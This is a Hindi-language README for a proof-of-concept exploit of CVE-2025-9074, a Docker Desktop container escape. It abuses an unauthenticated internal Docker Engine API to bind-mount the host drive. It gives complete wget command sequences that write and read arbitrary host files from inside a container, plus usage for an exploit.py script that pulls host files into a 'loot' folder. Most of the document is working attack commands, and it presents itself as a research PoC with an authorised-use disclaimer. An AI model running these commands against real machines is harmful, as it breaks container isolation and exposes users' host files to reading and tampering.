
CVE-2025-9074 के लिए PoC एक्सप्लॉइट जो Windows और macOS पर एक अप्रमाणित आंतरिक Docker Engine API के माध्यम से पूर्ण Docker Desktop कंटेनर एस्केप प्रदर्शित करता है।
डॉकर डेस्कटॉप आंतरिक डॉकर इंजन API को http://192.168.65.7:2375 पर किसी भी चल रहे कंटेनर के लिए उजागर करता है — बिना किसी प्रमाणीकरण और बिना किसी एक्सेस नियंत्रण के।
चूँकि इंजन स्वयं होस्ट फाइलसिस्टम को माउंट कर सकता है, एक कंटेनर इस API को कॉल करके एक नया कंटेनर बना सकता है जो होस्ट ड्राइव को बाइंड-माउंट करता है, और फिर उस कंटेनर का उपयोग करके मनमानी होस्ट फाइलों को पढ़ और लिख सकता है — यह एक पूर्ण कंटेनर-से-होस्ट एस्केप है।
http://192.168.65.7:2375 पर डॉकर इंजन API से जुड़ता है — किसी क्रेडेंशियल की आवश्यकता नहीं है।POST /containers/create भेजता है जिसमें Binds: ["/mnt/host:/host_root"] होता है, जो होस्ट ड्राइव को एक नए कंटेनर में माउंट करता है। डॉकर VM के अंदर होस्ट फाइलसिस्टम /mnt/host पर उजागर होता है (उदाहरण के लिए विंडोज C: ड्राइव /mnt/host/c पर है)।POST /containers/{id}/start बाइंड माउंट को सक्रिय करता है, जिससे पूर्ण होस्ट एक्सेस मिलता है।echo pwned > /host_root/c/test/pwn.txt)।GET /containers/{id}/archive?path=... किसी भी होस्ट पथ को TAR आर्काइव के रूप में वापस स्ट्रीम करता है — किसी शेल की आवश्यकता नहीं है।C:\test\readme.txt बनाएँ और उसमें कुछ नमूना सामग्री डालें ताकि रीड डेमो के पास एक लक्ष्य हो।

docker run -it --rm alpine /bin/sh
नीचे दिए गए सभी मैनुअल चरण इस कंटेनर के अंदर चलते हैं (alpine के साथ wget आता है)। कमांड छोटे रखने के लिए API के लिए एक शेल वेरिएबल सेट करें:
API=http://192.168.65.7:2375
लक्ष्य: एक कंटेनर के अंदर से होस्ट पर C:\test\pwn.txt बनाएँ।
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
क्या हुआ:
Binds: /mnt/host:/host_root होस्ट ड्राइव को नए कंटेनर में माउंट करता है।C:\test\pwn.txt (/host_root/c/test/pwn.txt) में pwned लिखती है।अपेक्षित परिणाम: C:\test\pwn.txt अब होस्ट पर मौजूद है।

लक्ष्य: एक कंटेनर के अंदर से होस्ट से C:\test\readme.txt पढ़ें।
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
क्या हुआ:
GET /containers/{id}/archive?path=... किसी भी होस्ट पथ को TAR के रूप में वापस स्ट्रीम करता है — किसी शेल की आवश्यकता नहीं है।अपेक्षित परिणाम: C:\test\readme.txt की सामग्री प्रिंट होती है।

exploit.pyexploit.py दोनों प्रवाहों को स्वचालित करता है। यह केवल पायथन मानक पुस्तकालय का उपयोग करता है, होस्ट माउंट को स्वतः पहचानता है (विंडोज /mnt/host/c बनाम macOS/Linux /), और आपके लिए नेटिव होस्ट पथों का अनुवाद करता है।
आंतरिक API (
192.168.65.7:2375) केवल कंटेनर के अंदर से पहुँच योग्य है, इसलिए स्क्रिप्ट को ऐसे कंटेनर में चलाएँ जिसमें पायथन हो:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
विंडोज PowerShell पर, -v "${PWD}:/x" उपयोग करें; cmd.exe पर -v "%cd%:/x" उपयोग करें।
python /x/exploit.py info
API को पिंग करता है, होस्ट OS का पता लगाता है, और शीर्ष-स्तरीय होस्ट माउंट प्रविष्टियों को सूचीबद्ध करता है।
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
| फ्लैग | उद्देश्य |
|---|---|
--api URL | API एंडपॉइंट को ओवरराइड करें (डिफ़ॉल्ट http://192.168.65.7:2375) |
--image NAME | शोषण कंटेनर के लिए इमेज (डिफ़ॉल्ट alpine, गायब होने पर स्वतः पुल होती है) |
--vm-mount PATH | ऑटो-डिटेक्ट छोड़ें और इन-VM होस्ट माउंट को बलपूर्वक सेट करें (जैसे /mnt/host या /) |
यह PoC केवल अधिकृत परीक्षण, शिक्षा और शोध के लिए है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इसे केवल उन्हीं प्रणालियों पर चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने की अनुमति आपके पास है।
यह PoC और README फेलिक्स बाउलेट के शोध से व्युत्पन्न हैं। मूल खोज और विश्लेषण का सारा श्रेय मूल लेखक को जाता है।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।